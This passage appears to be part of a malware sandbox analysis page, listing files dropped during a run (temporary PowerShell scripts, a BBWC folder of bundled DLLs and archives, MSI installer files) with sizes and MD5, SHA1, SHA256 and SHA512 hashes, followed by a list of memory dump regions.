ae6ebaccdd8cee1416573295da859bca

SHA1
20a4c6bd7eae8516fac9b7dd7172eb67b9c1cf7d

SHA256
9e87159a0f57dec62727e99717a9237637ca7ab6a1bbb726142eb4b03e741b2c

SHA512
f18b88900f4ffe6c0a3671263278ad3095800867406627b9f4edccafd29f836ef3e52e4184a54700688bd8fa32606c7df0676633d9313d2f85b64785eb3d7637

Download Submit
C:\Users\Admin\AppData\Local\Temp\pss7228.tmp.ps1

Filesize
1KB

MD5
92e8f020390914efb6138613cc07f449

SHA1
8b4fa4c6d0b8832eb4380b3f9a861c0788ec18e5

SHA256
26cf0f5c2dfa1e3589e689f4a16041be87fcaf2b31b7be0ded273c483d9577c2

SHA512
980d19faf254a634b0b362c0d19ecb041caf32ccdfdb3ab45acc5f7a6e307a209def8ce5aea5523ec3517fc1c2eb49e10dc41759cb83becff61f13347309f677

Download Submit
C:\Users\Admin\AppData\Local\Temp\pss7229.tmp.ps1

Filesize
5KB

MD5
dba5055d37e6a14db158f5e302232967

SHA1
3ea6ca89c96d56ce05ca28c1c887ebe2aa82dc9d

SHA256
4c437175386efa260ca74e75f97fe00daf8896216b0a2cdcec002d472700909b

SHA512
e170918fc960654996b5fa99ee83071ac36b9953a4d195d5e504eb5415d7335278e5df849ea7efd9bfb843ccbd6782636e46e6fe89684a0d912b192f2a956ba9

Download Submit
C:\Users\Admin\AppData\Local\Temp\pss7902.tmp.ps1

Filesize
4KB

MD5
123326a81dce366334890a4bc7c214ea

SHA1
ac587d4ae0096a736f59adcda3fbfd8a6e01c5d8

SHA256
674c31ad2ad15dda3f7a050da4c5cc1e0a849858d1288928a377de7843c80637

SHA512
b2e206b6aae22d7ab5f2add71d4032443d01b3703203e4c468540dc6dae5ea62338a7d39a7a7c262bbd63ef9a6e923aa676b45f73efaf6b65d86c11a01c8c109

Download Submit
C:\Users\Admin\AppData\Local\Temp\pss7903.tmp.ps1

Filesize
5KB

MD5
bbc5b450f5d6922f6bed105f2b772c33

SHA1
e2d731a00825040f794fa75b9a45adc5cef33527

SHA256
9084d16796a0746577449531ee621319775745681478ac3f124bcde591df4745

SHA512
60123d626661ed807ddfac1859586dc37acd7460cf14f3c223f9bbfcce12f0bd6e1e7c813295a7d8a54ba647a15edd60267742548c6e4f8fe3e12f64c17d12b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\pss8039.tmp.ps1

Filesize
2KB

MD5
124fe05f7ca227a7caeb74a5f958e863

SHA1
9d7bf93c2768e9b1f6146f49167c54ab7b4c3c13

SHA256
eba1a5f32af7af6ea6a556339b1a89fd541011592fe79e3f82371731520d7e11

SHA512
6fb18e53c9ebb9a97d098452c4676bf3751adfe31fa1b9e42c6bf9ffb5004775bd44b7e685220894cd9591c600fded79cdeb74e28b393f7f540625a653c3881b

Download Submit
C:\Users\Admin\AppData\Local\Temp\pss803A.tmp.ps1

Filesize
5KB

MD5
fdf653965dee9a03c024031903a5d518

SHA1
a5506668cd66d0ff72a0c12569dab25d13f2ef59

SHA256
7e40b8f48cdee13c6a18b2bcc0538e0c96deee1745da7a017940d79d97d36a88

SHA512
9cee74640369e2897c24552f38dfea8a75fdc24586f0038189938ce5ee2271b21ad171b82071ef4391056a71f2e0b2bdd1b042de2dd49957126c27c0c625bace

Download Submit
C:\Users\Admin\AppData\Local\Temp\pss86A6.tmp.ps1

Filesize
6KB

MD5
1ad7c5897ff9fed0b19f321d1cc17295

SHA1
31d1c1e4558d9c4a442007d092bc4aea400ef27f

SHA256
52aece4825f35e6958df27012e3143270a629cae8440f1ca4e6e91393e701829

SHA512
3c27f7da1619ce077780ffc5e0df8c15f62341ffd73e6b12e20251a7f8e6459d6b6bfc2f9ed8066eacfc2b942cbd77f522e0afca097e6b087aaa65ce5fa295b8

Download Submit
C:\Users\Admin\AppData\Local\Temp\pss86A7.tmp.ps1

Filesize
5KB

MD5
31826bb85fd11fe4c9631e8084b960dc

SHA1
f3024367a30c1a90e2f06c9455fc4f8e2f8e892d

SHA256
0a3a0e9d90d44b717ec1208ff5d95ab6634f6701ba3d4b51c361196e9f43812e

SHA512
af72f03254910c7774af68084aeade66d1e1ee4676839257de9a3a44d00cf7b6a3703d3988f663d89cae541714f35839863d3515f4d9012d50eaf939ee78a799

Download Submit
C:\Users\Admin\AppData\Local\Temp\pss8EC8.tmp.ps1

Filesize
2KB

MD5
f32bd3fa278bad6c62a6a374ff48d8d6

SHA1
7e0ed53d7e0c7d3f898a7f2512177a2e87286b1d

SHA256
c6333f63bfba0d5fdd155df688af8dae0310a6d835ac7c9b709fe98024938ba4

SHA512
e7fa6934e32999cb34dd370925454df0fd90c1258bd4c4a901c899109381ca0260c1bcd386aa1e0876976b21f412902ee8666d4ad791e804d9a4f506c8b10592

Download Submit
C:\Users\Admin\AppData\Local\Temp\pss8EC9.tmp.ps1

Filesize
5KB

MD5
77e2f2bdabf3075af30295dbc3b2015f

SHA1
dd08841eed53485b3c6fd1a23b7ce9585531acb8

SHA256
49d578324cde2d679c225ed4ba6a5bec89a6ad228e95bdd168d2ee83c0ae0929

SHA512
2d8a61040f5ab1755133d317bad401b8350581d7e7bac73ea04dcc5d57f182de47bc38a8e01474de97b70ab5c0ffdcfd01c079e7d11b560dd76e60f9d730e7ff

Download Submit
C:\Users\Admin\AppData\Local\Temp\pssA1F6.tmp.ps1

Filesize
2KB

MD5
d4d764cf27a54a2c76e3bad368bd8015

SHA1
09872e692d2a629f869a1edc4c0acfdad822cc4d

SHA256
9c43b7685a00596a95abdc2fe10aedc3da561eeca249524fe150865d67f8decd

SHA512
8c93f284cd7ce113fdac45c2cec4477cecee271f286293a3bf837465c03048fe46eb71ee30ab8559c24f04603a8e4936176c3af3c5890dd32e23d729ddce140a

Download Submit
C:\Users\Admin\AppData\Local\Temp\pssA1F7.tmp.ps1

Filesize
5KB

MD5
61805def718b912aba04e6f0ce81e19e

SHA1
7406da7a8996ba4e1783f86e1c580acdf8fe05d1

SHA256
a151c0bfcad33a73a5f0a00e3ce2285edbada9c00d2ab6778e5fffae2293a493

SHA512
1df8eb020bca2904d435a4ca29c635285d039cb97b98b19140df147756d71f05de1021c4849fa585f81c94b0d0710c316d322b84e1fed9e6039a0554ad5e5509

Download Submit
C:\Users\Admin\AppData\Roaming\BBWC\7za.exe

Filesize
731KB

MD5
508ac7ce9d810c28b38a3a34c15ed0ce

SHA1
355d1d8b153db7ba63102e2b2e0c8dd43962f9a3

SHA256
90965ab873d69e6dd3b542e714e3dea6db8ad4ec55cf35346ca819d2064390b0

SHA512
d6ed5bb5f86e680afae07e2cc60e89506c83ed92d110fc8c24d27b59f45cf6802d3ad7f38c962246c8a6e56d3c71aea7c8823b341b63bfa64f6db59ed0ab87f9

Download Submit
C:\Users\Admin\AppData\Roaming\BBWC\ICSharpCode.SharpZipLib.dll

Filesize
196KB

MD5
f4342f7f80f5a971edccf652811c426e

SHA1
1bd2fe3c654c146dd9c13e39c245551a6acea444

SHA256
7b17dd471be5b0bb8d54052f92ce45ac1748efae0dee44760244763d319e621c

SHA512
14e6d645061e02185b1a06d2a3f0e2377e0f513953fc5a2dc99fb6bae3bca8b2c255731074d6c1f5df04355449fa90c8c34bb9350ebe2e2f33dcda40eba2cdb8

Download Submit
C:\Users\Admin\AppData\Roaming\BBWC\LZ4.dll

Filesize
38KB

MD5
46bf0e63570b2032394c1ca3c7bd5fb8

SHA1
68f6987934106a3c43918eb3ed6595d15c3bb3dc

SHA256
2f222f61c2997f014fe992174258ec33fcbffa542cc73e944ff705d13ae93538

SHA512
65f5d990a28f4d91bb9771eea5056e0be9686a3662e7e6f0b99387333e16d8c1935a2ebbc6d20f6092330627bed40fdab2fd1a1a03217e4d5ccf5935fb20257a

Download Submit
C:\Users\Admin\AppData\Roaming\BBWC\Newtonsoft.Json.dll

Filesize
492KB

MD5
5e02ddaf3b02e43e532fc6a52b04d14b

SHA1
67f0bd5cfa3824860626b6b3fff37dc89e305cec

SHA256
78bedd9fce877a71a8d8ff9a813662d8248361e46705c4ef7afc61d440ff2eeb

SHA512
38720cacbb169dfc448deef86af973eafefa19eaeb48c55c58091c9d6a8b12a1f90148c287faaaa01326ec47143969ad1b54ee2b81018e1de0b83350dc418d1c

Download Submit
C:\Users\Admin\AppData\Roaming\BBWC\System.Data.SQLite.dll

Filesize
272KB

MD5
2501dd35903ab14af90de78498182227

SHA1
4ffc3c5a5d9b23330f4fef249a15dd0d5fe8b13d

SHA256
ddbb1dc69de086cec81df22a9d6efcf86aa667d16071746c26cbeeb38076237e

SHA512
8083c8b4fa17e69a4641030a41dd54cdaeb777abbbfc67bc79e2be3fd171137013cea8ca74a71359324def722d3c7d8ffd657a5256ab50567fc313fe2010eb5a

Download Submit
C:\Users\Admin\AppData\Roaming\BBWC\WC.7z

Filesize
689KB

MD5
aab9b59e01ab114f344629eac5dc54eb

SHA1
cba38a9c9059e59ec96d7af39dd51264391361d3

SHA256
384ecb90f5ff8a5fef30e50481a5d3c09e7c806cfdc01fb3f52cc636d11063f1

SHA512
7d613fb97e920f689e2b52982309ab83b10e02221fb3b72f6a11ae6170e0f07ff4044e1b1498b53cdd23c257979f39465e445fd7b52ecfac687bb1feab02dc1c

Download Submit
C:\Users\Admin\AppData\Roaming\BBWC\WC.txt

Filesize
2.5MB

MD5
7477ef0f6c24e4e7301a712c7e37edef

SHA1
845122c41beae80ab1edac1ab312469930f7b1d2

SHA256
4d68730c4ef8cef5733662d324a3611b9d91ff381393940dc64de02d3b93c64f

SHA512
79c6ebafd58b60394fd76f85676a3e503da705281ab3d9de04b63b0b93615ffa3e57eb9ed6225306bbbcc6779195ce8acc31013afd51a3dc9d56fc552b08baa7

Download Submit
C:\Users\Admin\AppData\Roaming\BBWC\version.dat

Filesize
18B

MD5
1c10c364db5dee55252cf09d28f27c63

SHA1
b2cceb5d9ac1f5cfa3f655b27236af4a241cf94b

SHA256
16db2ab507395ba9e6d3dabee480bfd1b93773afb0abda7a00880347c70ede9b

SHA512
7381246fd0cdcd57ea1eb07b574bc6bb0b7b2285ec605a127dc9e286fc1f9a153eab3fb38f1269b1050a90a07a65d6a86e0b60e4ab4050a77e9c07b074c1d780

Download Submit
C:\Windows\Installer\MSI6551.tmp

Filesize
356KB

MD5
3144225f1a2dccfda435970964158357

SHA1
b535c5fcf4b4fdb2b9863cfe89c4362699bdf419

SHA256
a99d2c6fd1667942a085f01784bd599762182fce8a8f866fa12ac93f52ae2ed1

SHA512
66017ab6a11017b749cd3045597a70b29be375656fcc03df6382ddf976b7f14b4df2bbb378e1eed8df75651ca9df1c04e084f50dd8eb9eb7e056e54d47679621

Download Submit
C:\Windows\Installer\MSI662D.tmp

Filesize
632KB

MD5
07ebb743bbd7230e04c23bcbaa03fc44

SHA1
8e6deee1ffb202f60c10aa7d7756395534e40dcf

SHA256
194b29c26d925fdc1f1aa1802714118d0ca30e413c7fea5c19a928eba7cc43b0

SHA512
f02b6f0caa860ba97d5a887bbdb28a6d417b2aa4dde91beeff57a99e05508a10b063ef1d025223fa2f566cc208f86401a38abc445d20bf208c5a4f92bb53ac24

Download Submit
C:\Windows\Installer\MSI8EBD.tmp

Filesize
392KB

MD5
de6d3427599b4f5b7af2a726830b03fb

SHA1
8577c5d56bd691ab52689b7bbc31e1960be41f26

SHA256
e29eced37dc2720be796627562414b4fb0695789bb195ae431803c32e1c924e5

SHA512
a9d09c3717928c51ac2aaddaec4ad4c6bfc305ebb9316a2761c52364f753681ee3caf6d83833aed9bd8f48606039bc5d9a97c254faed8c982768b3eba178bb1a

Download Submit
C:\Windows\Installer\e5764d4.msi

Filesize
3.0MB

MD5
3520764ae6ee89d4f99cf57aa1b57e1d

SHA1
371694797572bfc26f76818b2e11a6f6234d2a17

SHA256
24e7e2dcb6102224d489081a32b1aee6c1ea035295d58fbce7f85c7f22c543fe

SHA512
b0f40f8cb8c37a8a674cb175577c8bbb245f253bee406c27cc2114ac9f28612248debde7497d85698d429ad379b819e801d9e7e4f92738b080059325a98aa47c

Download Submit
\??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2

Filesize
11.3MB

MD5
b55801302e7bfe14996404f69d1ab160

SHA1
91b4cd4b14fd32d2ad03df48ebb15a176ea86c0a

SHA256
d20e286aef34b771b18a617fec51d97aa971884de5812808dea6c67d13974610

SHA512
ed05682beb4a7255897bee93efb5098021d7dc363c64e99aa220018e1dab0523a1c61af6c75508f05d6d39cfea1d2c5159f7d6d553c538990b6d26f3d0fe11ff

Download Submit
\??\Volume{e037a339-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{86245c50-bed9-48fc-9d0b-21c01a0c5368}_OnDiskSnapshotProp

Filesize
6KB

MD5
4c765aabe022ba7b1a06048da11fdf4c

SHA1
2bc7a2e55c002c79bf37568a74b7ae44690e980f

SHA256
b581d392ef6b2ecbdc26604cf72858e187ecb5f4a1386a9460ca04fce771c02b

SHA512
2dda10738cc2c804c159e6efec34cb66257fc0c0984b59f85da523d43744091ac92baf982f02594d80fb1d478d4e22574345aade5054d1102c825644c6f0171d

Download Submit
memory/744-288-0x00000000072A0000-0x00000000072E8000-memory.dmp

Filesize
288KB

Download
memory/744-294-0x0000000006880000-0x0000000006890000-memory.dmp

Filesize
64KB

Download
memory/744-311-0x0000000007830000-0x0000000007978000-memory.dmp

Filesize
1.3MB

Download
memory/744-286-0x00000000067A0000-0x0000000006822000-memory.dmp

Filesize
520KB

Download
memory/744-270-0x0000000073D30000-0x00000000744E0000-memory.dmp

Filesize
7.7MB

Download
memory/744-271-0x0000000004FA0000-0x0000000004FB0000-memory.dmp

Filesize
64KB

Download
memory/744-290-0x00000000072F0000-0x0000000007324000-memory.dmp

Filesize
208KB

Download
memory/768-228-0x0000000006400000-0x0000000006754000-memory.dmp

Filesize
3.3MB

Download
memory/768-226-0x0000000073DC0000-0x0000000074570000-memory.dmp

Filesize
7.7MB

Download
memory/768-227-0x00000000053D0000-0x00000000053E0000-memory.dmp

Filesize
64KB

Download
memory/768-244-0x0000000073DC0000-0x0000000074570000-memory.dmp

Filesize
7.7MB

Download
memory/2832-160-0x0000000073DC0000-0x0000000074570000-memory.dmp

Filesize
7.7MB

Download
memory/2832-172-0x0000000006070000-0x00000000063C4000-memory.dmp

Filesize
3.3MB

Download
memory/2832-190-0x0000000073DC0000-0x0000000074570000-memory.dmp

Filesize
7.7MB

Download
memory/2832-161-0x00000000050E0000-0x00000000050F0000-memory.dmp

Filesize
64KB

Download
memory/2832-162-0x00000000050E0000-0x00000000050F0000-memory.dmp

Filesize
64KB

Download
memory/3684-259-0x0000000004C40000-0x0000000004C50000-memory.dmp

Filesize
64KB

Download
memory/3684-305-0x0000000007150000-0x000000000716E000-memory.dmp

Filesize
120KB

Download
memory/3684-309-0x00000000076E0000-0x00000000076F1000-memory.dmp

Filesize
68KB

Download
memory/3684-308-0x0000000007580000-0x000000000758A000-memory.dmp

Filesize
40KB

Download
memory/3684-306-0x0000000007470000-0x0000000007513000-memory.dmp

Filesize
652KB

Download
memory/3684-314-0x0000000073D30000-0x00000000744E0000-memory.dmp

Filesize
7.7MB

Download
memory/3684-292-0x0000000007170000-0x00000000071A2000-memory.dmp

Filesize
200KB

Download
memory/3684-257-0x0000000073D30000-0x00000000744E0000-memory.dmp

Filesize
7.7MB

Download
memory/3684-258-0x0000000004C40000-0x0000000004C50000-memory.dmp

Filesize
64KB

Download
memory/3684-291-0x000000007F150000-0x000000007F160000-memory.dmp

Filesize
64KB

Download
memory/3684-260-0x0000000005AE0000-0x0000000005E34000-memory.dmp

Filesize
3.3MB

Download
memory/3684-295-0x0000000074520000-0x000000007456C000-memory.dmp

Filesize
304KB

Download
memory/3684-282-0x00000000061F0000-0x000000000623C000-memory.dmp

Filesize
304KB

Download
memory/3684-310-0x0000000004C40000-0x0000000004C50000-memory.dmp

Filesize
64KB

Download
memory/4332-339-0x0000000074520000-0x000000007456C000-memory.dmp

Filesize
304KB

Download
memory/4332-349-0x0000000007DF0000-0x0000000007E93000-memory.dmp

Filesize
652KB

Download
memory/4332-338-0x000000007F070000-0x000000007F080000-memory.dmp

Filesize
64KB

Download
memory/4332-350-0x0000000008050000-0x0000000008061000-memory.dmp

Filesize
68KB

Download
memory/4332-325-0x00000000053E0000-0x00000000053F0000-memory.dmp

Filesize
64KB

Download
memory/4332-324-0x0000000073D30000-0x00000000744E0000-memory.dmp

Filesize
7.7MB

Download
memory/4496-55-0x0000000007360000-0x0000000007904000-memory.dmp

Filesize
5.6MB

Download
memory/4496-35-0x0000000004B00000-0x0000000004B22000-memory.dmp

Filesize
136KB

Download
memory/4496-52-0x0000000006AC0000-0x0000000006B56000-memory.dmp

Filesize
600KB

Download
memory/4496-53-0x0000000005FF0000-0x000000000600A000-memory.dmp

Filesize
104KB

Download
memory/4496-48-0x0000000005AB0000-0x0000000005ACE000-memory.dmp

Filesize
120KB

Download
memory/4496-54-0x0000000006040000-0x0000000006062000-memory.dmp

Filesize
136KB

Download
memory/4496-56-0x0000000007F90000-0x000000000860A000-memory.dmp

Filesize
6.5MB

Download
memory/4496-57-0x0000000007150000-0x0000000007312000-memory.dmp

Filesize
1.8MB

Download
memory/4496-47-0x00000000055D0000-0x0000000005924000-memory.dmp

Filesize
3.3MB

Download
memory/4496-58-0x0000000008610000-0x0000000008B3C000-memory.dmp

Filesize
5.2MB

Download
memory/4496-37-0x0000000005450000-0x00000000054B6000-memory.dmp

Filesize
408KB

Download
memory/4496-59-0x00000000070A0000-0x0000000007132000-memory.dmp

Filesize
584KB

Download
memory/4496-62-0x0000000073E70000-0x0000000074620000-memory.dmp

Filesize
7.7MB

Download
memory/4496-32-0x0000000073E70000-0x0000000074620000-memory.dmp

Filesize
7.7MB

Download
memory/4496-31-0x0000000002510000-0x0000000002546000-memory.dmp

Filesize
216KB

Download
memory/4496-36-0x00000000053E0000-0x0000000005446000-memory.dmp

Filesize
408KB

Download
memory/4496-33-0x00000000025C0000-0x00000000025D0000-memory.dmp

Filesize
64KB

Download
memory/4496-34-0x0000000004C40000-0x0000000005268000-memory.dmp

Filesize
6.2MB

Download
memory/4496-49-0x0000000005AF0000-0x0000000005B3C000-memory.dmp

Filesize
304KB

Download
memory/4868-94-0x0000000006570000-0x00000000065BC000-memory.dmp

Filesize
304KB

Download
memory/4868-92-0x0000000005ED0000-0x0000000006224000-memory.dmp

Filesize
3.3MB

Download
memory/4868-98-0x0000000073DC0000-0x0000000074570000-memory.dmp

Filesize
7.7MB

Download
memory/4868-82-0x0000000002F90000-0x0000000002FA0000-memory.dmp

Filesize
64KB

Download
memory/4868-81-0x0000000073DC0000-0x0000000074570000-memory.dmp

Filesize
7.7MB

Download
memory/4872-216-0x0000000073DC0000-0x0000000074570000-memory.dmp

Filesize
7.7MB

Download
memory/4872-202-0x0000000003040000-0x0000000003050000-memory.dmp

Filesize
64KB

Download
memory/4872-201-0x0000000003040000-0x0000000003050000-memory.dmp

Filesize
64KB

Download
memory/4872-200-0x0000000073DC0000-0x0000000074570000-memory.dmp

Filesize
7.7MB

Download